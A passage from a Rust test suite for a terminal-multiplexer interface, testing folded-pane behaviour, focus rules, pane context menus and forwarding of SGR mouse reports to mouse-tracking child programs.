    );
    assert!(
        !app.terminals.iter().any(|t| t.collapsed),
        "and nothing folds while maximize owns the panel"
    );
}

#[test]
fn right_clicking_a_collapsed_strip_offers_to_expand_it() {
    // `terminal_at_pos` hit-tests `last_area`, which a collapsed pane clears,
    // so the right-click never resolved to a folded pane: the menu's
    // "Expand Terminal" branch was unreachable while KEYBINDINGS.md advertised
    // it, and a strip had exactly one gesture.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[1];
    assert_eq!(strip.width, 1, "precondition: the strip is painted");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        strip.x,
        strip.y + 1,
    ));
    let menu = app
        .context_menu
        .as_ref()
        .expect("a strip right-click opens the pane menu");
    let labels: Vec<String> = menu
        .items
        .iter()
        .filter_map(|e| match e {
            MenuEntry::Item { label, .. } => Some(label.clone()),
            _ => None,
        })
        .collect();
    assert!(
        labels.iter().any(|l| l == "Expand Terminal"),
        "the folded pane offers the way back out: {labels:?}"
    );
}

#[test]
fn a_reorder_never_hands_a_collapsed_pane_a_live_hit_rect() {
    // `move_terminal` re-seats `last_area` in SLOT order, because the rect is a
    // slot's geometry living on the terminal object. Before collapse existed
    // every visible slot had a real rect, so that was self-consistent. Now a
    // folded pane dragged into an expanded slot inherits a full-size rect it is
    // not painted in, and clicks over it resolve to a pane that is not there.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();

    app.move_terminal(0, 2);
    let folded = app
        .terminals
        .iter()
        .position(|t| t.collapsed)
        .expect("the folded pane survived the reorder");
    assert_eq!(
        app.terminals[folded].last_area,
        Rect::default(),
        "a folded pane must not inherit an expanded slot's hit rect"
    );
    // Presence half: the panes that ARE painted keep real rects, so this
    // cannot pass by the re-seat having been removed altogether.
    assert!(
        app.terminals
            .iter()
            .filter(|t| !t.collapsed)
            .any(|t| t.last_area.width > 0),
        "expanded panes still carry their slot geometry"
    );
}

#[test]
fn closing_the_pane_beside_a_folded_one_never_leaves_focus_on_it() {
    // Round 1 fixed ONE route onto a folded pane (cycling) at the call site
    // rather than at `sync_focus_flags`, which documents itself as the single
    // place every gesture moving `active_terminal` funnels through.
    //
    // Here: fold the ACTIVE pane 1, which hands focus left to 0, then close 0.
    // `close_terminal_at` leaves `active_terminal` at 0, which is now the
    // folded pane. `ensure_a_terminal_pane_is_expanded` does not catch it - it
    // enforces "SOME pane is expanded", not "the ACTIVE pane is".
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    app.active_terminal = 1;
    app.toggle_terminal_collapse(1);
    assert_eq!(app.active_terminal, 0, "precondition: focus went left");
    assert!(app.close_terminal_at(0), "close the pane holding focus");
    assert!(
        !app.terminals[app.active_terminal].collapsed,
        "closing a neighbour must not leave focus on a strip"
    );
}

#[test]
fn dismissing_a_strips_menu_never_leaves_focus_on_the_strip() {
    // This route was OPENED by round 1's own fix: making a strip
    // right-clickable also made it focusable, because the same line that
    // resolves the pane also focuses it. A folded pane paints no cursor and no
    // focus border, so the user then types into a pane they cannot see.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[1];
    assert_eq!(strip.width, 1, "precondition: the strip is painted");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        strip.x,
        strip.y + 1,
    ));
    assert!(
        app.context_menu.is_some(),
        "precondition: the strip right-click opened the pane menu"
    );
    // Dismiss through the PRODUCTION path. Assigning `context_menu = None`
    // under a comment saying "the user presses Esc" made this test assert
    // focus after the RIGHT-CLICK, not after dismissal: the right-click branch
    // calls `focus_pane`, which runs the invariant, so the assertion below was
    // already satisfied before the line pretending to dismiss anything ran. It
    // passed, and it could not have failed for the reason it is named for.
    app.handle_menu_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(
        app.context_menu.is_none(),
        "Esc must actually close the menu, or the dismissal path is not what \
         this test exercised"
    );
    assert!(
        !app.terminals[app.active_terminal].collapsed,
        "dismissing a strip's menu must not leave focus on the strip"
    );
}

#[test]
fn leaving_maximize_never_lands_focus_on_a_folded_pane() {
    // The rail lists every pane, folded ones included, and a rail click sets
    // `active_terminal` with no collapse check. While maximized that is
    // harmless - the flags are ignored and the pane is painted full width -
    // but leaving maximize drops focus onto a one-column strip.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(2);
    app.active_terminal = 0;
    app.toggle_terminal_pane_maximize();
    term.draw(|f| app.render(f)).unwrap();

    // Hand the maximized pane to the folded terminal the way the rail does.
    app.active_terminal = 2;
    app.toggle_terminal_pane_maximize();
    assert!(
        !app.terminal_pane_maximized,
        "precondition: back to the split"
    );
    assert!(
        !app.terminals[app.active_terminal].collapsed,
        "leaving maximize must not leave focus on a strip"
    );
}

#[test]
fn restore_all_is_inert_while_a_pane_is_maximized() {
    // The mirror of `collapse_is_inert_while_a_pane_is_maximized`. Collapse
    // got the maximize guard in round 1 and restore did not, so Cmd+K ]
    // cleared every flag and announced it, for a change invisible until the
    // user left maximize - the same silent-state-change shape, reversed.
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(2);
    app.active_terminal = 0;
    app.toggle_terminal_pane_maximize();
    assert!(app.terminal_pane_maximized, "precondition");

    assert!(app.handle_cmd_k_chord(key(KeyCode::Char(']'), KeyModifiers::NONE)));
    assert!(
        app.terminals[2].collapsed,
        "restore must not silently clear folding the user cannot see"
    );
}

#[test]
fn jumping_to_a_captured_line_reveals_the_folded_pane_that_holds_it() {
    // Round 2 moved the "focus never rests on a folded pane" invariant into
    // `sync_focus_flags`. That closed three routes and broke a fourth class:
    // callers which deliberately TARGET a pane by index and then focus it.
    // `sync_focus_flags` sees the target folded and walks focus away, so the
    // caller's chosen pane is silently swapped for a neighbour - here the
    // capture is applied to a pane the user cannot see while focus lands
    // somewhere unrelated. `run_project_task` and `run_block_in_pane` have the
    // same shape and write a COMMAND into the invisible pane.
    //
    // The invariant is right; what was missing is that reaching for a pane by
    // index is a request to SEE it, which is the rationale `undo_close_terminal`
    // already applies when it force-expands a reopened pane.
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    let pid = app.terminals[1]
        .shell_pid()
        .expect("a real shell to key on");
    app.terminals[1].feed_bytes_for_test(b"a captured line worth jumping to\r\n");
    app.toggle_terminal_collapse(1);
    assert!(
        app.terminals[1].collapsed,
        "precondition: the target is folded"
    );
    assert_ne!(app.active_terminal, 1, "precondition: focus left it");

    app.captures.push(crate::widgets::captures::CapturedLine {
        pane: String::from("build"),
        shell_pid: Some(pid),
        message: String::from("captured"),
        line: String::from("a captured line worth jumping to"),
    });
    app.captures_open_selected();

    assert_eq!(
        app.active_terminal, 1,
        "the jump must land on the pane that HOLDS the captured line"
    );
    assert!(
        !app.terminals[1].collapsed,
        "and that pane must be visible: applying a selection to a folded pane \
         shows the user nothing"
    );
}

#[test]
fn the_expand_entry_advertises_no_chord_it_cannot_perform() {
    // `Cmd+K [` acts on `active_terminal`, which the focus invariant keeps off
    // folded panes, so the chord can only ever COLLAPSE. The menu label
    // alternates, so a folded pane's menu read `Expand Terminal   ⌘K [` -
    // advertising a shortcut that does the opposite of the label beside it.
    // Contrast `ToggleMaximizeTerminal`, which carries `⌘K M` honestly because
    // that chord genuinely toggles both ways.
    assert_eq!(
        shortcut_for(&MenuAction::ToggleCollapseTerminal(0)),
        None,
        "a one-way chord must not be advertised beside a two-way label"
    );
    assert_eq!(
        shortcut_for(&MenuAction::ToggleMaximizeTerminal(0)),
        Some("⌘K M"),
        "and the genuinely two-way sibling keeps its hint, so this is not just \
         the hint lookup being broken"
    );
}

#[test]
fn a_folded_strips_menu_offers_nothing_that_acts_on_the_active_pane() {
    // A strip right-click sets `active_terminal = idx` and focuses the pane,
    // and `sync_focus_flags` then walks focus straight off a folded pane to
    // its nearest expanded neighbour. Every menu entry that carries no index
    // acts on `active_terminal`, so the menu named one pane and acted on
    // another: "Open Scrollback in Editor" opened the NEIGHBOUR's scrollback
    // under the neighbour's label. The broadcast entry was worse — it read
    // its label from `terminals[idx]` and toggled `active_terminal`, so it
    // could say "Exclude from Broadcast" and include a different pane.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.broadcast_input = true;
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[1];
    assert_eq!(strip.width, 1, "precondition: the strip is painted");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        strip.x,
        strip.y + 1,
    ));
    assert_ne!(
        app.active_terminal, 1,
        "precondition: focus cannot rest on a folded pane, which is what \
         makes an index-free entry act on the wrong one"
    );
    let labels = |app: &App| -> Vec<String> {
        app.context_menu
            .as_ref()
            .expect("a right-click opens the pane menu")
            .items
            .iter()
            .filter_map(|e| match e {
                MenuEntry::Item { label, .. } => Some(label.clone()),
                _ => None,
            })
            .collect()
    };
    let folded = labels(&app);
    for entry in [
        "Copy",
        "Paste",
        "Quick Select",
        "Copy Mode",
        "Command History",
        "Open Scrollback in Editor",
        "Exclude from Broadcast",
        "Include in Broadcast",
    ] {
        assert!(
            !folded.iter().any(|l| l == entry),
            "{entry:?} acts on the active pane, which is not this one: {folded:?}"
        );
    }
    assert!(
        folded.iter().any(|l| l == "Rename Terminal")
            && folded.iter().any(|l| l == "Expand Terminal"),
        "the entries that carry their own index stay: {folded:?}"
    );

    // The control, in the same run: an EXPANDED pane still offers all of
    // them, so this is a rule about folded panes and not a menu that lost
    // half its entries.
    app.context_menu = None;
    let area = app.terminals[0].last_area;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        area.x + 1,
        area.y + 1,
    ));
    let expanded = labels(&app);
    for entry in [
        "Paste",
        "Quick Select",
        "Copy Mode",
        "Command History",
        "Open Scrollback in Editor",
    ] {
        assert!(
            expanded.iter().any(|l| l == entry),
            "{entry:?} belongs on an expanded pane's menu: {expanded:?}"
        );
    }
}

/// #540: the terminal pane menu carried every terminal gesture except the
/// two a right-click is most often reached for. Copy is offered only while
/// the pane has a selection - the menu model has no disabled state, so an
/// entry that would copy nothing is worse than no entry - and both entries
/// go through the same routes the Cmd+C / Cmd+V chords already use.
#[test]
fn the_pane_menu_copies_a_selection_and_pastes_the_clipboard() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A silent child: the grid then holds exactly what the test feeds it,
    // with no shell prompt racing the selection coordinates.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 60")],
        tmp.path(),
    )
    .unwrap();
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let area = app.terminals[0].last_area;
    let inner = app.terminals[0].last_inner;
    let labels = |app: &App| -> Vec<String> {
        menu_labels(
            &app.context_menu
                .as_ref()
                .expect("a right-click opens the pane menu")
                .items,
        )
        .iter()
        .map(|l| l.to_string())
        .collect()
    };

    // Nothing selected: Paste is offered, Copy is not.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        area.x + 1,
        area.y + 1,
    ));
    let empty = labels(&app);
    assert!(
        empty.iter().any(|l| l == "Paste"),
        "Paste needs no selection: {empty:?}"
    );
    assert!(
        !empty.iter().any(|l| l == "Copy"),
        "Copy must not be offered while there is nothing to copy: {empty:?}"
    );
    app.context_menu = None;

    // With a selection, Copy joins the menu and reaches the clipboard. The
    // row is located in the grid rather than assumed: the pane paints a
    // launch banner of its own above whatever the child prints.
    app.terminals[0].feed_bytes_for_test(b"copy-me-540\r\n");
    let (lines, top) = app.terminals[0].grid_lines();
    let vrow = (top
        + lines
            .iter()
            .position(|l| l.starts_with("copy-me-540"))
            .expect("the fed text must reach the grid") as i32) as u16;
    app.terminals[0].start_selection_at(inner.x, inner.y + vrow);
    app.terminals[0].extend_selection_to(inner.x + 20, inner.y + vrow);
    let expected = app.terminals[0].selection_text();
    assert!(
        expected.contains("copy-me-540"),
        "precondition: the selection covers the fed text, got {expected:?}"
    );
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        area.x + 1,
        area.y + 1,
    ));
    let selected = labels(&app);
    assert!(
        selected.iter().any(|l| l == "Copy"),
        "Copy belongs on a pane that has a selection: {selected:?}"
    );
    app.context_menu = None;
    app.dispatch_menu_action(MenuAction::TerminalCopySelection, tmp.path().to_path_buf());
    assert_eq!(
        crate::clipboard::read_string().as_deref(),
        Some(expected.as_str()),
        "the menu's Copy must put the selection on the clipboard"
    );

    // And Paste sends the clipboard on to the pane's child.
    let before = app.terminals[0].written_bytes_for_test().len();
    assert!(crate::clipboard::write_string("pasted-540"));
    app.dispatch_menu_action(MenuAction::TerminalPaste, tmp.path().to_path_buf());
    let written = app.terminals[0].written_bytes_for_test();
    let sent = String::from_utf8_lossy(&written[before..]).to_string();
    assert!(
        sent.contains("pasted-540"),
        "the menu's Paste must reach the shell, sent {sent:?}"
    );
}

#[test]
fn a_pane_named_in_wide_characters_still_marks_its_strip() {
    // Only single-width characters are painted, because a CJK glyph or an
    // emoji is two cells wide and the pane next door is one column away. But
    // FILTERING them out left a pane named entirely in them with a blank
    // strip: a folded pane that is not identifiable is the one thing the
    // strip exists to prevent.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.terminals[1].set_manual_name(Some(String::from("\u{9805}\u{76ee}")));
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[1];
    assert_eq!(strip.width, 1, "precondition: the strip is painted");
    assert!(strip.height > 2, "precondition: room below the chevron");

    let buf = term.backend().buffer();
    let at = |x: u16, y: u16| {
        buf.cell(ratatui::layout::Position::new(x, y))
            .map(|c| c.symbol().to_string())
            .unwrap_or_default()
    };
    let marked = (strip.y + 1..strip.y + strip.height)
        .filter(|&y| !at(strip.x, y).trim().is_empty())
        .count();
    assert!(
        marked > 0,
        "the strip must carry something under the chevron for a wide-character name"
    );
    // And the containment property the filter was there for: the stand-in is
    // one cell, so the pane one column away is untouched.
    assert_eq!(
        unicode_width::UnicodeWidthChar::width(TERMINAL_STRIP_WIDE_STANDIN),
        Some(1),
        "the stand-in has to fit the one column the strip owns"
    );
}

#[test]
fn maximizing_from_a_folded_strip_shows_the_pane_the_menu_named() {
    // `ToggleMaximizeTerminal` carries its index and assigns `active_terminal`
    // directly rather than through `focus_pane`, which makes it the one path
    // that deliberately puts focus ON a folded pane. That is correct here:
    // maximize ignores the collapse flags by design and paints the active
    // pane across the panel, so the pane the menu names is the pane that
    // appears. The strip's right-click made this reachable, and nothing
    // pinned it.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[1];
    let folded_width = app.terminals[1].last_area.width;

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        strip.x,
        strip.y + 1,
    ));
    let action = app
        .context_menu
        .as_ref()
        .expect("a strip right-click opens the pane menu")
        .items
        .iter()
        .find_map(|e| match e {
            MenuEntry::Item { label, action } if label == "Maximize Terminal" => {
                Some(action.clone())
            }
            _ => None,
        })
        .expect("a folded pane still offers maximize: the entry carries its own index");
    app.context_menu = None;
    let root = app.workspace_root().to_path_buf();
    app.dispatch_menu_action(action, root);
    term.draw(|f| app.render(f)).unwrap();

    assert_eq!(
        app.active_terminal, 1,
        "the maximized pane is the one the menu named"
    );
    assert!(
        app.terminals[1].last_area.width > folded_width,
        "the folded pane is painted across the panel, not left as a strip: \
         {folded_width} then {}",
        app.terminals[1].last_area.width
    );
    assert!(
        app.terminal_strip_rects.iter().all(|r| r.width == 0),
        "no strip survives maximize, or a click could land on a pane that is not painted"
    );
}

/// #474: a rendered app whose only pane is tracking the mouse with SGR
/// reports, exactly the pair Claude Code sends (`?1000h` + `?1006h`), plus
/// a cell inside the grid and that cell's local coordinates.
fn tracking_terminal_app(modes: &[u8]) -> (App, tempfile::TempDir, u16, u16, u16, u16) {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(modes);
    let inner = app.terminals[0].last_inner;
    assert!(
        inner.width > 6 && inner.height > 3,
        "terminal grid must be laid out, got {inner:?}"
    );
    let (col, row) = (inner.x + 3, inner.y + 2);
    let (lr, lc) = app.terminals[0]
        .cell_at(col, row)
        .expect("the test cell lies inside the grid");
    (app, tmp, col, row, lc, lr)
}

#[test]
fn a_click_over_a_mouse_tracking_child_is_forwarded_as_press_and_release() {
    // Claude Code's diff panel closes from a click on its ×; htop, lazygit
    // and vim's `mouse=a` route clicks the same way. All of them see the
    // click only if croft sends the press AND the release: a TUI that got a
    // press with no release believes the button is still down. Before #474
    // neither was sent -- the click became a one-cell croft selection.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, lc, lr) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    assert!(app.terminals[0].mouse_reporting());

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!("\x1b[<0;{};{}M", lc + 1, lr + 1),
        "the press is an SGR button-0 report at the 1-based grid cell"
    );
    assert!(
        app.terminals[0].selection().is_none(),
        "a forwarded press plants no croft selection: the child owns the click"
    );
    let uid = app.terminals[0].uid();
    assert!(
        app.terminal_pointer_forwarded
            .is_some_and(|f| f.pane == uid && f.press == (col, row) && !f.selecting),
        "the pane (by uid) and cell that got the press are remembered for the release"
    );

    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!("\x1b[<0;{c};{r}M\x1b[<0;{c};{r}m", c = lc + 1, r = lr + 1),
        "the release follows as the lower-case SGR terminator"
    );
    assert!(
        app.terminal_pointer_forwarded.is_none(),
        "the release ends the forwarded gesture"
    );
    assert!(
        app.terminals[0].selection().is_none(),
        "nor does the release leave a highlight behind"
    );
}

#[test]
fn a_click_over_a_child_that_is_not_tracking_stays_a_croft_selection() {
    // The forward is gated on the child having asked (`report_mouse` declines
    // without a tracking mode), so a shell prompt or a plain pager keeps
    // croft's click-to-select and nothing reaches the child's stdin.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, _, _) = tracking_terminal_app(b"");
    assert!(!app.terminals[0].mouse_reporting());

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.terminals[0].written_bytes_for_test().is_empty(),
        "no report is written to a child that never asked for the mouse"
    );
    assert!(
        app.terminals[0].selection().is_some(),
        "the click anchors croft's own selection as before"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn shift_click_over_a_tracking_child_keeps_the_click_for_croft() {
    // Shift is the bypass for the whole forwarded family, the same one the
    // wheel has and the one xterm, iTerm2 and VS Code use: with it held the
    // click anchors croft's selection so text can still be copied out of a
    // full-screen app that otherwise owns the pointer.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, _, _) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");

    let mut shift = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    shift.modifiers = KeyModifiers::SHIFT;
    app.handle_mouse(shift);
    assert!(
        app.terminals[0].written_bytes_for_test().is_empty(),
        "Shift+click is croft's: nothing is reported to the child"
    );
    assert!(
        app.terminals[0].selection().is_some(),
        "Shift+click anchors croft's own selection over a tracking child"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_click_on_the_pane_border_is_not_forwarded_to_a_tracking_child() {
    // `terminal_at_pos` hit-tests the pane INCLUDING its border, while a
    // report needs a grid cell. A border click over a tracking child must
    // fall through to croft (where it is inert) rather than be reported at a
    // cell the child does not have.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, _, _, _) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    let border_row = app.terminals[0].last_area.y;
    assert!(
        app.terminals[0].cell_at(col, border_row).is_none(),
        "the top border is not a grid cell"
    );
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        col,
        border_row,
    ));
    assert!(
        app.terminals[0].written_bytes_for_test().is_empty(),
        "no report for a cell outside the child's grid"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_forwarded_drag_reports_motion_only_when_the_child_asked_for_it() {
    // DECSET 1000 is click-only: the child wants presses and releases and
    // nothing in between. 1002 adds button-held motion. The Drag arm hands
    // the event to `report_mouse`, whose motion guard already encodes that
    // distinction, so the same drag is silent under 1000 and a `+32` report
    // under 1002 -- and croft's own drag-selection never starts either way.
    use crossterm::event::{MouseButton, MouseEventKind};

    let (mut app, _tmp, col, row, lc, lr) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        col + 2,
        row + 1,
    ));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!("\x1b[<0;{};{}M", lc + 1, lr + 1),
        "under 1000 the drag adds nothing after the press: the child asked for clicks"
    );
    // A click-only child cannot use the drag, so croft keeps it: the
    // selection is anchored at the PRESS cell, not where the first motion
    // event happened to land, and extends to the pointer.
    let sel = app.terminals[0]
        .selection()
        .expect("under 1000 the drag is croft's text selection");
    let (sr, sc, er, ec) = sel.normalised();
    assert_eq!(
        (sr, sc, er, ec),
        (lr as i32, lc, lr as i32 + 1, lc + 2),
        "the selection runs from the press cell to the drag cell"
    );
    assert!(
        app.terminal_pointer_forwarded.is_some_and(|f| f.selecting),
        "the gesture is still open and marked as croft's selection"
    );
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        col + 2,
        row + 1,
    ));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!(
            "\x1b[<0;{};{}M\x1b[<0;{};{}m",
            lc + 1,
            lr + 1,
            lc + 3,
            lr + 2
        ),
        "the child that got the press still gets the release"
    );
    assert!(
        app.terminals[0].selection().is_some_and(|s| s.has_area()),
        "and croft's selection survives the release for copying"
    );
    assert!(app.terminal_pointer_forwarded.is_none());

    let (mut app, _tmp, col, row, lc, lr) = tracking_terminal_app(b"\x1b[?1002h\x1b[?1006h");
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        col + 2,
        row + 1,
    ));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!(
            "\x1b[<0;{};{}M\x1b[<32;{};{}M",
            lc + 1,
            lr + 1,
            lc + 3,
            lr + 2
        ),
        "under 1002 the drag is a button-0 motion report at the new cell"
    );
    assert!(app.terminals[0].selection().is_none());
}

#[test]
fn a_forwarded_release_outside_the_pane_is_clamped_to_its_grid() {
    // A press the child got must be followed by a release the child gets,
    // even when the pointer has wandered off the pane by then; otherwise the
    // child keeps a button held that the user let go. xterm reports such a
    // release at the nearest cell, and so does croft: the coordinates are
    // clamped to the pane's grid rather than the report being dropped.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row, lc, lr) = tracking_terminal_app(b"\x1b[?1000h\x1b[?1006h");
    let inner = app.terminals[0].last_inner;
    assert!(
        app.terminals[0].cell_at(0, 0).is_none(),
        "(0,0) must be outside the pane, or nothing is clamped"
    );

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), 0, 0));
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!("\x1b[<0;{};{}M\x1b[<0;1;1m", lc + 1, lr + 1),
        "the release lands on the grid's top-left cell, the nearest to (0,0)"
    );
    assert_eq!(
        app.terminals[0].clamp_to_grid(u16::MAX, u16::MAX),
        (inner.x + inner.width - 1, inner.y + inner.height - 1),
        "the far corner clamps to the last cell, never one past it"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_forwarded_release_over_a_sibling_pane_goes_to_the_pane_that_got_the_press() {
    // The point of remembering the pane in `terminal_pointer_forwarded`
    // rather than re-hit-testing at release: a drag that ends over the
    // NEIGHBOUR pane still owes its release to the child that got the press,
    // at that child's nearest edge cell. Re-resolving by pointer would hand
    // the release to a pane that never saw a press (or drop it, if that pane
    // is not tracking) and leave the first child with a held button.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.terminals.len(), 2, "two panes are visible");
    // Only pane 0 tracks the mouse; pane 1 is a plain shell.
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    assert!(app.terminals[0].mouse_reporting());
    assert!(!app.terminals[1].mouse_reporting());

    let inner0 = app.terminals[0].last_inner;
    let inner1 = app.terminals[1].last_inner;
    assert!(
        inner0.width > 4 && inner0.height > 3 && inner1.width > 4 && inner1.height > 3,
        "both panes need a real grid: {inner0:?} {inner1:?}"
    );
    let (col, row) = (inner0.x + 2, inner0.y + 1);
    let (lr, lc) = app.terminals[0].cell_at(col, row).unwrap();
    // A cell well inside pane 1, on the same row.
    let (far_col, far_row) = (inner1.x + 2, row);
    assert!(
        app.terminals[1].cell_at(far_col, far_row).is_some()
            && app.terminals[0].cell_at(far_col, far_row).is_none(),
        "the release cell must belong to pane 1 only"
    );

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        far_col,
        far_row,
    ));

    let (clamped_col, clamped_row) = app.terminals[0].clamp_to_grid(far_col, far_row);
    let (er, ec) = app.terminals[0].cell_at(clamped_col, clamped_row).unwrap();
    assert_eq!(
        String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()),
        format!(
            "\x1b[<0;{};{}M\x1b[<0;{};{}m",
            lc + 1,
            lr + 1,
            ec + 1,
            er + 1
        ),
        "pane 0 gets the press and the release, the latter at its nearest edge cell"
    );
    assert!(
        app.terminals[1].written_bytes_for_test().is_empty(),
        "pane 1 never saw a press, so it gets no release either"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_forwarded_release_finds_its_pane_after_an_earlier_pane_closes() {
    // `ForwardedPointer` names the pane by uid, not by index. Close the pane
    // BEFORE the pressed one while the button is held: the pressed pane
    // slides from index 1 to index 0, and the release must still reach it.
    // An index would have delivered the release to whatever now sits at
    // the old slot (nothing, here) and left the pressed child holding a
    // button.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.terminals.len(), 2);
    app.terminals[1].feed_bytes_for_test(b"\x1b[?1000h\x1b[?1006h");
    let pressed_uid = app.terminals[1].uid();
    let inner = app.terminals[1].last_inner;
    let (col, row) = (inner.x + 2, inner.y + 1);
    let (lr, lc) = app.terminals[1].cell_at(col, row).unwrap();

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.terminal_pointer_forwarded
            .is_some_and(|f| f.pane == pressed_uid)
    );

    assert!(app.close_terminal_at(0), "the EARLIER pane closes");
    assert_eq!(app.terminals.len(), 1);
    assert_eq!(
        app.terminals[0].uid(),
        pressed_uid,
        "the pressed pane now sits at index 0"
    );
    // The pane was re-laid out by the close; release wherever the pointer
    // is, the report is clamped to the pane's current grid.
    term.draw(|f| app.render(f)).unwrap();
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));

    let written = String::from_utf8_lossy(&app.terminals[0].written_bytes_for_test()).into_owned();
    assert!(
        written.starts_with(&format!("\x1b[<0;{};{}M", lc + 1, lr + 1)),
        "the press went to the pane before the close: {written:?}"
    );
    assert!(
        written.ends_with('m') && written.matches("\x1b[<0;").count() == 2,
        "the release still reaches the same pane after it moved to index 0: {written:?}"
    );
    assert!(app.terminal_pointer_forwarded.is_none());
}

#[test]
fn a_click_only_drag_keeps_extending_the_origin_pane_after_the_active_pane_moves() {
    // Under click-only 1000 the drag is croft's selection on the pane that
    // got the press. `Cmd+]` (cycle_terminal) can move the ACTIVE pane while
    // the button is held; the drag must keep extending the origin's
    // selection, not the new active pane's, and the release must finalise
    // it there. Routing through `terminal_mut()` would have left the origin
    // at its one-cell anchor and started nothing on the other pane either.
    use crossterm::event::{MouseButton, MouseEventKind};
